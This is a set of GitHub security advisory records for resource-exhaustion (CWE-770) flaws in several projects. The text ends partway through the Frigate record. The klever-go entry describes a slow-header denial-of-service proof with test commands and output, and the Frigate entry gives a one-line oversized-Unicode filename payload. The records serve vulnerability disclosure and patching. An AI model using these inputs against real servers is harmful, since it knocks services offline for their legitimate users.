CWE-770

{
  "affected": [],
  "aliases": [
    "CVE-2024-6037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-10T23:15:14Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in gaizhenbiao/chuanhuchatgpt version 20240410 allows an attacker to create arbitrary folders at any location on the server, including the root directory (C: dir). This can lead to uncontrolled resource consumption, resulting in resource exhaustion, denial of service (DoS), server unavailability, and potential data loss or corruption.",
  "id": "GHSA-w39g-g6pq-5jq6",
  "modified": "2025-10-15T15:30:20Z",
  "published": "2024-07-11T00:32:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6037"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gaizhenbiao/chuanhuchatgpt/commit/71cb89c4c948dae5aaa0ae64b98f98e3965bdb37"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/eca6904f-f9fd-40c8-9e85-96f54daf405e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.haulmont.cuba:cuba-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-22T16:57:36Z",
    "nvd_published_at": "2025-04-22T18:16:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe local file storage implementation does not restrict the size of uploaded files. An attacker could exploit this by uploading excessively large files, potentially causing the server to run out of space and return HTTP 500 error, resulting in a denial of service.\n\nThe severity of the vulnerability is mitigated by the fact that the application UI and the generic REST API are typically accessible only to authenticated users.\n\n### Patches\n\nThe problem has been fixed in CUBA 7.2.23.\n\n### Workarounds\n\nA workaround for those who are unable to upgrade: [Disable Files Endpoint in CUBA Application](https://docs.jmix.io/jmix/files-vulnerabilities.html#disable-files-endpoint-in-cuba-application).\n\n### References\n\n[Files Functionality Vulnerabilities :: Jmix Documentation](https://docs.jmix.io/jmix/files-vulnerabilities.html)\n\nSimilar vulnerability in Jmix: [DoS in the Local File Storage \u00b7 Advisory \u00b7 jmix-framework/jmix](https://github.com/jmix-framework/jmix/security/advisories/GHSA-f3gv-cwwh-758m)",
  "id": "GHSA-w3mp-6vrj-875g",
  "modified": "2025-04-23T15:21:19Z",
  "published": "2025-04-22T16:57:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cuba-platform/cuba/security/advisories/GHSA-w3mp-6vrj-875g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jmix-framework/jmix/security/advisories/GHSA-f3gv-cwwh-758m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cuba-platform/cuba/commit/42b6c00fd0572b8e52ae31afd1babc827a3161a1"
    },
    {
      "type": "WEB",
      "url": "https://docs.jmix.io/jmix/files-vulnerabilities.html"
    },
    {
      "type": "WEB",
      "url": "https://docs.jmix.io/jmix/files-vulnerabilities.html#disable-files-endpoint-in-cuba-application"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cuba-platform/cuba"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cuba has a DoS in the File Storage"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/facebook/fbthrift"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1-0.20200311080807-483ed864d69f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-11939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-08T00:26:28Z",
    "nvd_published_at": "2020-03-18T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "Golang Facebook Thrift servers would not error upon receiving messages declaring containers of sizes larger than the payload. As a result, malicious clients could send short messages which would result in a large memory allocation, potentially leading to denial of service. This issue affects Facebook Thrift prior to v2020.03.16.00.\n\n### Specific Go Packages Affected\ngithub.com/facebook/fbthrift/thrift/lib/go/thrift",
  "id": "GHSA-w3r9-r9w7-8h48",
  "modified": "2023-09-29T17:09:10Z",
  "published": "2022-05-24T17:11:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/fbthrift/commit/483ed864d69f307e9e3b9dadec048216100c0757"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facebook/fbthrift"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2021-0082"
    },
    {
      "type": "WEB",
      "url": "https://www.facebook.com/security/advisories/cve-2019-11939"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Golang Facebook Thrift servers vulnerable to denial of service"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-1456"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-11T12:16:04Z",
    "severity": "MODERATE"
  },
  "details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 18.7.4, and 18.8 before 18.8.4 that could have allowed an unauthenticated user to cause denial of service through CPU exhaustion by submitting specially crafted markdown files that trigger exponential processing in markdown preview.",
  "id": "GHSA-w487-9r9p-6p96",
  "modified": "2026-02-11T12:30:22Z",
  "published": "2026-02-11T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1456"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3517928"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2026/02/10/patch-release-gitlab-18-8-4-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/587688"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-62666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-18T05:15:34Z",
    "severity": "MODERATE"
  },
  "details": "Allocation of Resources Without Limits or Throttling vulnerability in The Wikimedia Foundation Mediawiki - CirrusSearch Extension allows HTTP DoS.This issue affects Mediawiki - CirrusSearch Extension: from master before 1.43.",
  "id": "GHSA-w49h-rmgr-rwp7",
  "modified": "2025-10-18T06:30:25Z",
  "published": "2025-10-18T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62666"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/q/I3e8d819868c0491b18368af8e543180e747023c2"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T401220"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.17"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.14"
            },
            {
              "fixed": "1.7.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52880"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:41:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Klever seednode REST API starts a Gin engine with `Engine.Run(restAPIInterface)`. In Gin v1.9.1, `Engine.Run` calls Go\u0027s default `http.ListenAndServe`, which constructs an HTTP server without application-level `ReadHeaderTimeout`, `ReadTimeout`, or `MaxHeaderBytes` limits.\n\nAn unauthenticated client that can reach a REST listener bound with Klever\u0027s documented `--rest-api-interface :8080` all-interface option can hold incomplete HTTP headers open indefinitely. In a local proof against the real `cmd/seednode/api.Start` path on `v1.7.17`, 120 slow-header connections caused 20/20 legitimate `/log` probes to fail with `accept: too many open files`. A fixed control using the same Gin router behind an explicit `http.Server` with `ReadHeaderTimeout`, `ReadTimeout`, and `MaxHeaderBytes` retained 0 slow connections and served 20/20 probes.\n\nThis report is distinct from the P2P advisories and from my direct-message goroutine report. This finding concerns Klever-owned HTTP REST startup code (`cmd/seednode/api` and `network/api`) using Gin `Engine.Run` without server-level header deadlines. It does not depend on `MultiDataInterceptor`, `Batch.Decompress`, libp2p, malformed P2P messages, or direct-message goroutine spawning.\n\n### Details\n\nSeednode REST API, latest release `v1.7.17`:\n\n- `cmd/seednode/api/api.go:17` defines `Start(restAPIInterface, marshalizer)`.\n- `cmd/seednode/api/api.go:18` creates `ws := gin.Default()`.\n- `cmd/seednode/api/api.go:23` returns `ws.Run(restAPIInterface)`.\n- `cmd/seednode/CLI.md:23` documents `--rest-api-interface`; it says `:8080` binds all interfaces and `off` disables the API.\n\nNode REST API, latest release `v1.7.17`:\n\n- `network/api/api.go:79` creates `ws = gin.Default()`.\n- `network/api/api.go:98` returns `ws.Run(kleverFacade.RestAPIInterface())`.\n- `cmd/node/main.go:147-150` documents the same `--rest-api-interface` flag and says `:8080` binds all interfaces.\n- `docker/README.md:56-61` and `docker/README.md:67-70` publish host port `8080` for full-node and validator Docker examples.\n- `README.md:264-268` documents that the node exposes a REST API for blockchain queries and operations.\n\nThe seednode REST API source is byte-identical across `v1.7.14` through `v1.7.17`; the captured runtime PoC was executed on `v1.7.17`.\n\nCurrent `develop` commit `10bcfd50` remains affected:\n\n- `network/api/api.go:98` still returns `ws.Run(kleverFacade.RestAPIInterface())`.\n- `cmd/seednode/api/api.go:59` still returns `ws.Run(restAPIInterface)`.\n\nGin v1.9.1 implements `Engine.Run` as:\n\n```go\nfunc (engine *Engine) Run(addr ...string) (err error) {\n    address := resolveAddress(addr)\n    err = http.ListenAndServe(address, engine.Handler())\n    return\n}\n```\n\nIn my source sweep, I did not find a production `http.Server{ReadHeaderTimeout: ...}` wrapper for either REST start path. The only `ReadHeaderTimeout` hit I found in the repository was a test helper under `network/api/websocket/routes_test.go`.\n\n### PoC\n\nGitHub Private Vulnerability Reporting does not appear to allow file attachments in this form, so I am including the reproduction command and captured output inline. I can paste the full 254-line Go test patch in a reply immediately if useful.\n\nThe test starts two local child servers:\n\n1. Vulnerable: the real `cmd/seednode/api.Start` path.\n2. Fixed control: the same Gin router served through `http.Server{ReadHeaderTimeout: 250ms, ReadTimeout: 250ms, MaxHeaderBytes: 4096}`.\n\nReproduction from a clean checkout:\n\n```bash\ngit clone https://github.com/klever-io/klever-go\ncd klever-go\ngit checkout v1.7.17\n\n# Apply the PoC patch to cmd/seednode/api.\n# I can provide the full patch in this advisory thread.\n\ngo test ./cmd/seednode/api -run TestPoC_SeednodeAPISlowlorisDifferential -count=1 -v -timeout 60s\n```\n\nCaptured output on `v1.7.17`:\n\n```text\nPOC_RESULT mode=vulnerable slow_connections_opened=120 slow_connections_still_open=111 legitimate_probe_ok=0 legitimate_probe_fail=20\nPOC_RESULT mode=fixed slow_connections_opened=120 slow_connections_still_open=0 legitimate_probe_ok=20 legitimate_probe_fail=0\n```\n\nThe vulnerable server also logs repeated accept failures:\n\n```text\nhttp: Accept error: accept tcp 127.0.0.1:56415: accept: too many open files; retrying in 1s\n```\n\n### Impact\n\nFor an externally reachable Klever REST listener, a single unauthenticated client can retain many server-side connections by never completing HTTP headers. Because the Go server has no read-header deadline, those connections persist until the client closes them or an external proxy/firewall intervenes.\n\nThe direct result is REST API unavailability for legitimate clients. The local proof demonstrates this as 0/20 legitimate `/log` probes succeeding while the vulnerable server is saturated, versus 20/20 succeeding with the fixed server wrapper.\n\nI am not claiming default public internet exposure. The default bind is `localhost:8080`. The affected condition is a REST API listener exposed through Klever\u0027s documented all-interface bind or Docker port-publish deployment shape.\n\nThis maps to the `SECURITY.md` High category: \"Denial of Service affecting network availability.\" If Klever treats externally reachable REST API unavailability as non-critical because the default bind is localhost, the conservative classification is Medium under \"Performance degradation attacks\" / \"Non-critical DoS vectors.\"\n\nAll testing was local loopback only. I did not contact Klever mainnet, public testnet, hosted RPCs, explorers, or third-party production infrastructure.\n\nSuggested fix:\n\nStart both REST APIs through explicit `http.Server` values instead of `Engine.Run`, for example:\n\n```go\nsrv := \u0026http.Server{\n    Addr:              restAPIInterface,\n    Handler:           ws.Handler(),\n    ReadHeaderTimeout: 5 * time.Second,\n    ReadTimeout:       10 * time.Second,\n    WriteTimeout:      30 * time.Second,\n    IdleTimeout:       120 * time.Second,\n    MaxHeaderBytes:    32 \u003c\u003c 10,\n}\nreturn srv.ListenAndServe()\n```\n\nApply the same pattern to:\n\n- `cmd/seednode/api.Start`\n- `network/api.Start`\n\nIf Klever expects deployments to expose the REST API through a reverse proxy, I still recommend setting server-level limits in the application. That keeps the binary safe when operators use the documented direct bind or Docker port-publish path.",
  "id": "GHSA-w4c6-7r69-w7j9",
  "modified": "2026-06-09T18:40:44Z",
  "published": "2026-06-05T16:41:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-w4c6-7r69-w7j9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "klever-go: REST API slow-header connection exhaustion via Gin Engine.Run"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-41725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-28T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing \"up to maxMemory bytes +10MB (reserved for non-file parts) in memory\". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type\u0027s documentation states, \"If stored on disk, the File\u0027s underlying concrete type will be an *os.File.\". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.",
  "id": "GHSA-w4h2-22wh-m6jx",
  "modified": "2023-03-10T06:30:21Z",
  "published": "2023-02-28T18:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41725"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/468124"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/58006"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/V0aBFqaFs_E"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2023-1569"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202311-09"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "frigate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-09T15:13:49Z",
    "nvd_published_at": "2024-05-14T15:37:13Z",
    "severity": "CRITICAL"
  },
  "details": "**Important: Exploiting this vulnerability requires the attacker to have access to your Frigate instance, which means they could also just delete all of your recordings or perform any other action. If you have configured authentication in front of Frigate via a reverse proxy, then this vulnerability is not exploitable without first getting around your authentication method. For many obvious reasons in addition to this one, please don\u0027t expose your Frigate instance publicly without any kind of authentication.**\n\n## Summary\n\nWhen uploading a file or retrieving the filename, a user may intentionally use a large Unicode filename which would lead to a application-level denial of service. This is due to no limitation set on the length of the filename and the costy use of the Unicode normalization with the form NFKD under the hood of `secure_filename()`.\n\nI idenfied multiple vulnerable paths on [blakeblackshear/frigate](https://www.github.com/blakeblackshear/frigate/) repository. In all of those paths, it was possible for a malicious user to send a filename equals to the output of : `python3 -c \"print(\u0027\u2100\u0027 * 1_000_000)\"` which would reach the werkzeug `secure_filename()` call , which in turn under the hood uses a compatibility Unicode normalization with NFKC/NFKD form. In sum, the latter call would be costly in matter of CPU resource and may lead to the application-level denial of service. \n\n## Vulnerable Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C20-L379C31)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;int:start_ts\u0026gt;/end/\u0026lt;int:end_ts\u0026gt;/clip.mp4\")\n   @MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;float:start_ts\u0026gt;/end/\u0026lt;float:end_ts\u0026gt;/clip.mp4\")\n   def recording_clip(\u003cstrong\u003ecamera_name\u003c/strong\u003e, start_ts, end_ts):\n       download = request.args.get(\"download\", type=bool)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e            playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n       file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n       path = os.path.join(CACHE_DIR, file_name)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e            playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n    file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n    path = os.path.join(CACHE_DIR, file_name)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C33-L379C41) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C33-L379C41)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;int:start_ts\u0026gt;/end/\u0026lt;int:end_ts\u0026gt;/clip.mp4\")\n   @MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;float:start_ts\u0026gt;/end/\u0026lt;float:end_ts\u0026gt;/clip.mp4\")\n   def recording_clip(camera_name, \u003cstrong\u003estart_ts\u003c/strong\u003e, end_ts):\n       download = request.args.get(\"download\", type=bool)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e            playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n       file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n       path = os.path.join(CACHE_DIR, file_name)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e            playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n    file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n    path = os.path.join(CACHE_DIR, file_name)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C43-L379C49) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C43-L379C49)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;int:start_ts\u0026gt;/end/\u0026lt;int:end_ts\u0026gt;/clip.mp4\")\n   @MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;float:start_ts\u0026gt;/end/\u0026lt;float:end_ts\u0026gt;/clip.mp4\")\n   def recording_clip(camera_name, start_ts, \u003cstrong\u003eend_ts\u003c/strong\u003e):\n       download = request.args.get(\"download\", type=bool)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e            playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n       file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n       path = os.path.join(CACHE_DIR, file_name)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e        current_app.frigate_config,\n        camera_name,\n        secure_filename(\u003cstrong\u003ename.replace(\" \", \"_\")\u003c/strong\u003e) if name else None,\n        int(start_time),\n        int(end_time),\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 8 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e    jsonify,\n       make_response,\n       \u003cstrong\u003erequest\u003c/strong\u003e,\n   )\n   from peewee import DoesNotExist, fn\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e    jsonify,\n       make_response,\n       \u003cstrong\u003erequest\u003c/strong\u003e,\n   )\n   from peewee import DoesNotExist, fn\n   \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L620C28-L620C35)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        )\n\n       json: dict[str, any] = \u003cstrong\u003erequest\u003c/strong\u003e.get_json(silent=True) or {}\n       playback_factor = json.get(\"playback\", \"realtime\")\n       name: Optional[str] = json.get(\"name\")\n   \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L620C5-L620C9)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        )\n\n       \u003cstrong\u003ejson\u003c/strong\u003e: dict[str, any] = request.get_json(silent=True) or {}\n       playback_factor = json.get(\"playback\", \"realtime\")\n       name: Optional[str] = json.get(\"name\")\n   \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C27-L622C31)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e    json: dict[str, any] = request.get_json(silent=True) or {}\n       playback_factor = json.get(\"playback\", \"realtime\")\n       name: Optional[str] = \u003cstrong\u003ejson\u003c/strong\u003e.get(\"name\")\n\n       recordings_count = (\n   \u003c/code\u003e\u003c/pre\u003e\n\n6. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C27-L622C43)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e    json: dict[str, any] = request.get_json(silent=True) or {}\n       playback_factor = json.get(\"playback\", \"realtime\")\n       name: Optional[str] = \u003cstrong\u003ejson.get(\"name\")\u003c/strong\u003e\n\n       recordings_count = (\n   \u003c/code\u003e\u003c/pre\u003e\n\n7. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C5-L622C9)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e    json: dict[str, any] = request.get_json(silent=True) or {}\n       playback_factor = json.get(\"playback\", \"realtime\")\n       \u003cstrong\u003ename\u003c/strong\u003e: Optional[str] = json.get(\"name\")\n\n       recordings_count = (\n   \u003c/code\u003e\u003c/pre\u003e\n\n8. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        current_app.frigate_config,\n           camera_name,\n           secure_filename(\u003cstrong\u003ename.replace(\" \", 